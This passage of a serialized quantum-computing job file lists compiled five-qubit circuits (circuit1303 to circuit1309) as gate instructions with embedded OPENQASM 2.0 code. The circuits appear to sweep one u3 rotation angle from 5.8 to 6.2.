'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1303', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.80000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [5.9, -1.5707963267948966, 1.5707963267948966], 'texparams': ['5.9', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1305', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.90000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [6, -1.5707963267948966, 1.5707963267948966], 'texparams': ['6.0', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1307', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(6.00000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [6.1000000000000005, -1.5707963267948966, 1.5707963267948966], 'texparams': ['6.1', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1309', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(6.10000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [6.2, -1.5707963267948966, 1.5707963267948966], 'texparams': ['6.2', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 